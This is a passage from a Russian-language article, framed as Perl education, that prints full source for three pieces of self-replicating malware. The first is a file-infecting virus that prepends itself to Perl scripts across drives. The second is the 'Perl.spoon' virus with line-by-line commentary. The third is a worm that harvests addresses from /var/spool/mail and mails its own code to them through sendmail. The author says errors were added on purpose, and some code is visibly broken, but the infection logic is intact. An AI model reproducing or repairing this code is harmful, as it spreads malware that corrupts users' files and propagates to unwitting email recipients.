В следующем исходнике дано решение данной проблемы:
#!/usr/bin/perl
# Perl - Get'em'all Virus
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...46];
close(File);
&InfectFile;
if ($^0 =~ "MacOS") {
chdir('::');
&InfectFile; }
else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) {
$OldDir = `cd`;
chdir('..');
&InfectFile;
chdir('C:\');
&SearchUpperDirectorys;
chdir($OldDir);}
else {
$OldDir = `pwd`;
chdir("/");
&SearchUpperDirectorys;
chdir($OldDir);}}
sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}
sub SearchUpperDirectorys {
foreach $Directory (<*>) {
if ((-r $Directory) && (-w &Directory ) && (-d $Directory) {
chdir ($Directory);
&InfectFile;
chdir ('..')
}}}
OK, если мы в системе MacOS, то заражаем лишь низшую директорию. Если в
среде Windows или DOS, то воздействуем на каталог, находящийся ниже и
начинаем поиск других файлов в C:\. После этого
восстанавливаемся в исходном каталоге. В каждой системе мы из корневой директории ищем другие
каталоги, а затем восстанавливаем исходный.
Теперь настало время взглянуть на вирусную программу, которую можно найти
в Сети. AVP определяет его как Perl.spoon, созданный PaddingX. Вот его
исходник. Хочу повториться, что этот материал лишь для лучшего понимания
подобных программ. (S - комментарии)
#!/usr/bin/perl
use File::Find; #S использование модуля для нахождения файлов
#S модуль включен в стандартные установки
&virus(); #S вызов подпрограммы virus
load ( just in dropper ! )
print "\nThis program is infected by the Perl virus\n\n";
sub virus #S начало вируса
{
my ( $pid, $new ); #S определение переменных
if( $pid = fork ) { return; }
else
{
open( source, $0 ); #S открытие вирусного файла
finddepth ( \&infect, '/home/chris/test' ); #S
#S '/home/chris/test' место, где файлы заражены
sub infect
{
open target, "$File::Find::name"; #S открываем файл,
#S который хотим заразить
$_ = <target>; #S считываем в
#S строку.
if ( /(\#!.*perl)/ ) #S проверка
#S является ли файл perl-программой
{
$_ = <target>; #S считывание второй строки
if( $_ ne "use File::Find;\n" ) #S используется ли File::Find
#S модуль (заражен или нет)
{
$new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
#S Записываем первые две строки вируса в $NEW
while( <target> ) { $new = $new . $_; }
#Sзаписываем зараженный файл в $NEW
seek( source, 0, 0 );
while( <source> ne "sub virus\n" ) { };
#S считываем файл пока не найдем процедуру вируса
$new = $new . "\nsub virus\n"; #S записываем
'sub virus' в $NEW
while( <source> ) { $new = $new . $_; }#S добавляем
окончание вируса в $NEW
close target; #S закрываем
заражаемый файл
open target, ">$File::Find::name"; #S открываем
вновь для записи
print target $new; #S пишем $new
в файл
}
}
close( target ); #S закрываем зараженный файл
}
close( source ); #S закрываем файл-вирус
exit( 0 ); #S выход
}
}
# a Perl virus, by paddingx
Как мы видим это вирус, который записывает сначала вызов на себя и затем
добавляет остаток файла. Зараженный файл выглядит примерно так:
[ Stub :
#!/usr/bin/perl
use File::Find;
&virus(); ]
[... Original File ... ]
[ .. virus procedure ..]
Хотя он будет исполняться только на UNIX системах (из-за путей и потому,
что разветвление не осуществляется на MacOS, Win32, AmigaOS, RISC OS), все
равно это хороший кусок кода, для понимания Perl.
OK, вот последний кусок кода, просто для того, чтобы показать то, что
можно осуществить при помощи Perl. Это саморассылающийся Perl-червь,
который использует sendmail, предполагающий, что почтовые сообщения
находятся в /var/spool/mail/ директории. Возможно, те, кто знает Perl
лучше меня, смогут модифицировать этот код. Хочется сразу оговориться, что
я специально сделал некоторые ошибки в коде для того, чтобы оградить
неразумное использование данной программы от тех, кто не разбирается в
Perl. Поэтому читайте книги по Perl и разбирайтесь. Знание - сила!
#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...29];
close(File);
foreach $FileName (</var/spool/mail/*>) {
if ((-r $FileName) && (-f$FileName)) {
open(File, "$FileName");
@test1=<File>;
close(File);
@ReceiverList = grep /From:/, @test1;
foreach $Receiver2 (@ReceiverList){
@Receiver = split(:/, $Receiver2);
@Addy = split(/</, @Receiver[1]);
open(File,">PerlWurm");
print File "Hi@Addy[0]\n";
print File "take a look at this perl script\n and see what is possible
to do
\nin perl.. \n";
print File " cu soon\n\n\n";
print File @Virus;
print File ".\n";
close(File);
chomp(@Addy[2]);
chop(@Addy[1]);
$x = `sendmail @Addy[1] < PerlWurm`;
}}}
Надеюсь, при помощи этой статьи мне удалось заинтересовать вас в изучении
Perl, который, на самом деле, является довольно удивительным языком
программирования.
Удачи в освоении Perl!